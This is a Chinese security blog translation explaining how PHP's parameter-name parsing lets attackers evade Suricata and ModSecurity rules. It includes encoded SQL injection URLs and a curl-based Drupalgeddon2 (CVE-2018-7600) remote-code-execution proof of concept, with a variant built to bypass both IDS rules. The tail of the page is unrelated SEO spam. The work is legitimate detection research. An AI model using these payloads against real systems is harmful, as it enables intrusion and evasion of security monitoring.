登录/注册
投稿
首页 威胁情报 安全动态 漏洞预警
数据泄露
  • 新闻浏览
  • 图表统计
专题报告 技术分析 安全工具

利用PHP的字符串解析特性绕过安全防护软件

iso60001  1804天前

22.png

在这篇文章中,我们将看到PHP字符串解析函数是如何帮助我绕过网络防火墙和入侵检测系统。

如你所知,PHP会将URL或body中的查询字符串关联到$_GET$_POST。例如:/?foo=bar代表Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0-- 

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

为什么?

PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:

  • 删除空白符

  • 将某些字符转换为下划线(包括空格)

例如:

User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

通过以下这个示例,你可以更直观的看到parser_str函数如何处理字符串:

33.png

<?php

foreach(
    [
        "{chr}foo_bar",
        "foo{chr}bar",
        "foo_bar{chr}"
    ] as $k => $arg) {

        for($i=0;$i<=255;$i++) {
            echo "\033[999D\033[K\r";
            echo "[".$arg."] check ".bin2hex(chr($i))."";
            parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);

            /* yes... I've added a sleep time on each loop just for 
            the scenic effect :) like that movie with unrealistic 
            brute-force where the password are obtained 
            one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
            */
            usleep(5000);

            if(isset($o["foo_bar"])) {
                echo "\033[999D\033[K\r";
                echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
            }
        }

        echo "\033[999D\033[K\r";
        echo "\n";
}

44.png

parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。结果如下:

  • [1st]foo_bar

  • foo[2nd]bar

  • foo_bar[3rd]

55.png

66.png

在上述方案中,foo%20barfoo+bar等效,均解析为foo bar

Suricata

也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎能够进行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。

在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

简单来说,上述规则会检查news_id的值是否是数字。那么根据上述知识,我们可以很容易的绕过防御,如下所示:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

通过在Google和Github上进行搜索,我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。一个真实的例子:

https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述规则可以通过以下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

当然,这条规则交换参数位置即可绕过,比如:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)

此外,PHP查询字符串的解析特性也可用以绕过WAF。想象一下非常知名的ModSecurity,它的规则类似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然可以通过相同的手段绕过。幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数。比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上规则将拦截诸如以下的请求:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

让我们用Suricata和Drupal CMS创建一个CVE-2018-7600(Drupalgeddon2的远程代码执行)的简单PoC。为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。

我将使用两条Suricata防御规则:

  • 一条自定义规则拦截form_id=user_register_form

  • 另一条是关于CVE-2018-7600的通用 规则

77.png

Suricata官方安装流程点击 这里。对于Drupal,我运行了一个Vulhub容器,你可以在 这里克隆:

88.png

首先,让我们尝试利用CVE-2018-7600进行攻击。我创建一个利用curl命令的小型bash脚本,比如:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所见,上面的脚本将执行命令id。现在让我们开始:

99.png

现在,让我们尝试往Suricata导入以下两条规则:第一天是我编写的,它会拦截在请求主体中存在form_id=user_register_form的请求;第二个是通用规则,会拦截在URL中存在/user/register,以及在请求主体中存在类似#post_render的请求。

我的规则:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

通用规则:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

在重启Suricata后,我的原始攻击被成功报警:

100.png

可以看到,我们得到了两条日志:

  • ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

  • Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

绕过!

这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:

form%5bid=user_register_form

110.png

如上图所见,现在只有通用规则的警报。分析通用规则的正则表达式,我们可以看到它对#%23敏感,但不涉及下划线的编码。因此,我们可以使用post%5frender代替post_render来绕过:

120.png

最后得出可绕过两个规则的PoC:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如果你喜欢这篇文章,请分享并关注我theMiddle (@Menin_TheMiddle)!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/
解析 php 漏洞
上一篇: CVE-2019-13142:雷蛇影音软...... 下一篇: 硬件安全|智能门锁安全研究方法......

最新评论

昵称
邮箱
提交评论

友情链接: FOFA FOEYE BCSEC BAIMAOHUI 安全客 i春秋 指尖安全 2021上海网络安全博览会

nosec.org All Rights Reserved 京ICP备15042518号-2

深圳SEO优化公司徐州SEO按天收费哪家好沙井关键词按天收费公司河池网站开发哪家好垦利设计公司网站报价永新网站推广方案多少钱保定设计公司网站吉林百度seo哪家好漳州模板制作沧州seo优化推荐威海网站排名优化多少钱芜湖seo排名多少钱垦利企业网站制作价格坪地百搜标王公司民治网站seo优化报价宁德网站设计模板多少钱甘南网站关键词优化公司林芝网站定制公司抚州百度标王南昌模板推广推荐永新网站制作设计报价南京百搜标王公司自贡百搜标王价格乌海网站优化公司枣庄seo网站推广公司济源模板网站建设公司湛江seo网站推广推荐秦皇岛网站搭建大丰网站设计模板公司巴中seo价格酒泉百度关键词包年推广多少钱歼20紧急升空逼退外机英媒称团队夜以继日筹划王妃复出草木蔓发 春山在望成都发生巨响 当地回应60岁老人炒菠菜未焯水致肾病恶化男子涉嫌走私被判11年却一天牢没坐劳斯莱斯右转逼停直行车网传落水者说“没让你救”系谣言广东通报13岁男孩性侵女童不予立案贵州小伙回应在美国卖三蹦子火了淀粉肠小王子日销售额涨超10倍有个姐真把千机伞做出来了近3万元金手镯仅含足金十克呼北高速交通事故已致14人死亡杨洋拄拐现身医院国产伟哥去年销售近13亿男子给前妻转账 现任妻子起诉要回新基金只募集到26元还是员工自购男孩疑遭霸凌 家长讨说法被踢出群充个话费竟沦为间接洗钱工具新的一天从800个哈欠开始单亲妈妈陷入热恋 14岁儿子报警#春分立蛋大挑战#中国投资客涌入日本东京买房两大学生合买彩票中奖一人不认账新加坡主帅:唯一目标击败中国队月嫂回应掌掴婴儿是在赶虫子19岁小伙救下5人后溺亡 多方发声清明节放假3天调休1天张家界的山上“长”满了韩国人?开封王婆为何火了主播靠辱骂母亲走红被批捕封号代拍被何赛飞拿着魔杖追着打阿根廷将发行1万与2万面值的纸币库克现身上海为江西彩礼“减负”的“试婚人”因自嘲式简历走红的教授更新简介殡仪馆花卉高于市场价3倍还重复用网友称在豆瓣酱里吃出老鼠头315晚会后胖东来又人满为患了网友建议重庆地铁不准乘客携带菜筐特朗普谈“凯特王妃P图照”罗斯否认插足凯特王妃婚姻青海通报栏杆断裂小学生跌落住进ICU恒大被罚41.75亿到底怎么缴湖南一县政协主席疑涉刑案被控制茶百道就改标签日期致歉王树国3次鞠躬告别西交大师生张立群任西安交通大学校长杨倩无缘巴黎奥运

深圳SEO优化公司 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化